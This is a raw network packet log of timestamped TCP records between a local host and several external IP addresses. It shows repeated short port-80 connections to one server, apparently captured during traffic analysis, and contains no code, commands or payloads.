Jun 27, 2024 07:37:23.230226040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230241060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230248928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.230258942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230272055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230288029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.230298996 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.230305910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230318069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230326891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.230336905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230349064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230365038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230370045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.230401039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.230891943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230902910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230914116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230926991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230941057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.230948925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230961084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.230969906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.230978966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.230989933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231002092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231009007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.231020927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231029987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.231040955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231050014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.231064081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.231069088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231081963 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.231090069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231107950 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.231117964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231126070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.231136084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231147051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231158972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231170893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.231201887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.231547117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231558084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231568098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231581926 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.231589079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231611967 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.231620073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231633902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231642008 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.231652975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231666088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.231673956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231687069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.231695890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.231729031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.232045889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.232058048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.232069016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.232079983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.232098103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.232103109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.232114077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.232126951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.232135057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.232145071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.232158899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.232166052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.232178926 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.232198954 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.287868023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.287879944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.288014889 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.288028002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.288068056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.288214922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.288225889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.288237095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.288247108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.288260937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.288266897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.288296938 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.288316011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:23.313447952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:23.314004898 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:26.009388924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:26.013818979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:27.862519026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:27.863620043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:33.208498001 CEST	49719	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:33.213572025 CEST	80	49719	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:33.213660955 CEST	49719	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:33.213792086 CEST	49719	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:33.221250057 CEST	80	49719	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:33.892184973 CEST	80	49719	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:33.893876076 CEST	49719	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:33.894757032 CEST	49719	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:33.899590015 CEST	80	49719	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:34.111623049 CEST	80	49719	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:34.111780882 CEST	49719	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:34.213033915 CEST	49719	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:34.213351011 CEST	49720	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:34.220222950 CEST	80	49719	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:34.220345974 CEST	49719	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:34.220370054 CEST	80	49720	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:34.220535994 CEST	49720	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:34.220710993 CEST	49720	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:34.226382971 CEST	80	49720	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:34.890435934 CEST	80	49720	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:34.890566111 CEST	49720	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:34.891416073 CEST	49720	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:34.899657965 CEST	80	49720	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:35.102658033 CEST	80	49720	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:35.102737904 CEST	49720	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:35.213290930 CEST	49720	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:35.213608027 CEST	49721	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:35.218437910 CEST	80	49721	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:35.218502045 CEST	49721	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:35.218584061 CEST	80	49720	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:35.218637943 CEST	49721	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:35.218646049 CEST	49720	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:35.223473072 CEST	80	49721	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:35.886210918 CEST	80	49721	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:35.886373997 CEST	49721	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:35.887002945 CEST	49721	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:35.891872883 CEST	80	49721	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:36.092525005 CEST	80	49721	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:36.092597008 CEST	49721	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:36.202074051 CEST	49721	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:36.202578068 CEST	49722	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:36.207470894 CEST	80	49722	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:36.207484007 CEST	80	49721	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:36.207853079 CEST	49721	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:36.207853079 CEST	49722	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:36.207853079 CEST	49722	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:36.212845087 CEST	80	49722	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:36.889770985 CEST	80	49722	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:36.889906883 CEST	49722	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:36.890661955 CEST	49722	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:36.895536900 CEST	80	49722	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:37.114185095 CEST	80	49722	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:37.114274979 CEST	49722	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:37.231348038 CEST	49722	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:37.231822968 CEST	49723	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:37.238838911 CEST	80	49723	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:37.239259958 CEST	80	49722	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:37.239384890 CEST	49722	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:37.239408970 CEST	49723	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:37.239754915 CEST	49723	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:37.244575024 CEST	80	49723	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:37.940797091 CEST	80	49723	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:37.942117929 CEST	49723	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:37.942631960 CEST	49723	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:37.947418928 CEST	80	49723	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:38.155839920 CEST	80	49723	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:38.155952930 CEST	49723	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:38.260279894 CEST	49723	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:38.260535002 CEST	49724	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:38.265414953 CEST	80	49724	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:38.265531063 CEST	49724	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:38.265599966 CEST	80	49723	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:38.265608072 CEST	49724	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:38.265671968 CEST	49723	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:38.270381927 CEST	80	49724	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:38.961031914 CEST	80	49724	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:38.961158991 CEST	49724	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:38.961952925 CEST	49724	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:38.966928959 CEST	80	49724	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:39.172740936 CEST	80	49724	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:39.172820091 CEST	49724	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:39.275691986 CEST	49724	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:39.276118994 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:39.285439014 CEST	80	49724	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:39.285578012 CEST	49724	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:39.285732031 CEST	80	49725	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:39.285831928 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:39.286041975 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:39.295190096 CEST	80	49725	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:39.956587076 CEST	80	49725	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:39.956866026 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:39.957596064 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:39.962421894 CEST	80	49725	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:40.164423943 CEST	80	49725	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:40.164603949 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:40.275459051 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:40.275752068 CEST	49726	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:40.280607939 CEST	80	49726	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:40.280693054 CEST	80	49725	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:40.280769110 CEST	49726	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:40.280802965 CEST	49725	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:40.280940056 CEST	49726	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:40.285756111 CEST	80	49726	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:40.948513985 CEST	80	49726	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:40.948613882 CEST	49726	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:40.949394941 CEST	49726	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:40.954214096 CEST	80	49726	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:41.156809092 CEST	80	49726	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:41.156908989 CEST	49726	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:41.262125015 CEST	49726	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:41.262202024 CEST	49727	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:41.267077923 CEST	80	49727	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:41.267151117 CEST	49727	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:41.267263889 CEST	49727	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:41.267427921 CEST	80	49726	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:41.267488003 CEST	49726	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:41.280072927 CEST	80	49727	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:41.978965998 CEST	80	49727	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:41.979060888 CEST	49727	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:41.979938030 CEST	49727	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:41.984889030 CEST	80	49727	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:42.187266111 CEST	80	49727	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:42.187381983 CEST	49727	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:42.291244984 CEST	49727	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:42.291667938 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:42.296402931 CEST	80	49727	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:42.296489954 CEST	80	49728	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:42.296497107 CEST	49727	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:42.296582937 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:42.296822071 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:42.301629066 CEST	80	49728	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:42.987096071 CEST	80	49728	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:42.987185955 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:42.987865925 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:42.992738008 CEST	80	49728	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:43.201020002 CEST	80	49728	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:43.201142073 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:43.307070017 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:43.307483912 CEST	49729	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:43.313250065 CEST	80	49728	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:43.313301086 CEST	80	49729	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:43.313325882 CEST	49728	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:43.313376904 CEST	49729	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:43.313571930 CEST	49729	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:43.318351030 CEST	80	49729	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:43.999306917 CEST	80	49729	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:43.999551058 CEST	49729	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:44.000181913 CEST	49729	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:44.004981995 CEST	80	49729	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:44.210140944 CEST	80	49729	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:44.210256100 CEST	49729	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:44.322398901 CEST	49729	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:44.322747946 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:44.327614069 CEST	80	49730	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:44.327681065 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:44.327811003 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:44.328047991 CEST	80	49729	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:44.328104019 CEST	49729	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:44.332617998 CEST	80	49730	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:45.004712105 CEST	80	49730	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:45.004801035 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:45.005491018 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:45.010250092 CEST	80	49730	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:45.214198112 CEST	80	49730	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:45.214294910 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:45.322381973 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:45.322686911 CEST	49731	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:45.327649117 CEST	80	49731	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:45.327665091 CEST	80	49730	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:45.327729940 CEST	49730	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:45.327744961 CEST	49731	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:45.327922106 CEST	49731	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:45.332650900 CEST	80	49731	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:46.006392002 CEST	80	49731	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:46.006728888 CEST	49731	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:46.007312059 CEST	49731	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:46.012065887 CEST	80	49731	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:46.215732098 CEST	80	49731	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:46.215837955 CEST	49731	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:46.322369099 CEST	49731	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:46.322670937 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:46.327560902 CEST	80	49732	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:46.327651024 CEST	80	49731	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:46.327672005 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:46.327701092 CEST	49731	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:46.327785969 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:46.332565069 CEST	80	49732	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:46.995099068 CEST	80	49732	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:46.995213032 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:46.996195078 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:47.001940012 CEST	80	49732	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:47.204205990 CEST	80	49732	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:47.204272032 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:47.307356119 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:47.307765961 CEST	49733	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:47.312577963 CEST	80	49732	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:47.312592030 CEST	80	49733	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:47.312649012 CEST	49732	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:47.312690973 CEST	49733	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:47.312902927 CEST	49733	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:47.317645073 CEST	80	49733	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:47.982182026 CEST	80	49733	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:47.982239008 CEST	49733	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:47.983052969 CEST	49733	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:47.987773895 CEST	80	49733	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:48.189522028 CEST	80	49733	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:48.189620972 CEST	49733	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:48.291419983 CEST	49733	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:48.291814089 CEST	49734	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:48.296562910 CEST	80	49734	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:48.296881914 CEST	80	49733	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:48.297010899 CEST	49733	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:48.297024012 CEST	49734	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:48.297173977 CEST	49734	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:48.302496910 CEST	80	49734	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:48.981024027 CEST	80	49734	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:48.981216908 CEST	49734	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:48.982377052 CEST	49734	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:48.987195969 CEST	80	49734	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:49.189423084 CEST	80	49734	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:49.189642906 CEST	49734	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:49.294851065 CEST	49734	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:49.295294046 CEST	49735	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:49.300137997 CEST	80	49734	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:49.300158024 CEST	80	49735	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:49.300218105 CEST	49734	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:49.300263882 CEST	49735	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:49.300523043 CEST	49735	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:49.305576086 CEST	80	49735	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:49.987376928 CEST	80	49735	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:49.987457991 CEST	49735	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:49.988336086 CEST	49735	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:49.995498896 CEST	80	49735	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:50.196847916 CEST	80	49735	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:50.196980953 CEST	49735	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:50.307847977 CEST	49735	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:50.308267117 CEST	49736	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:50.312910080 CEST	80	49735	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:50.312977076 CEST	49735	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:50.313119888 CEST	80	49736	147.45.47.155	192.168.2.5
Jun 27, 2024 07:37:50.313203096 CEST	49736	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:37:50.313410044 CEST	49736	80	192.168.2.5	147.45.47.155
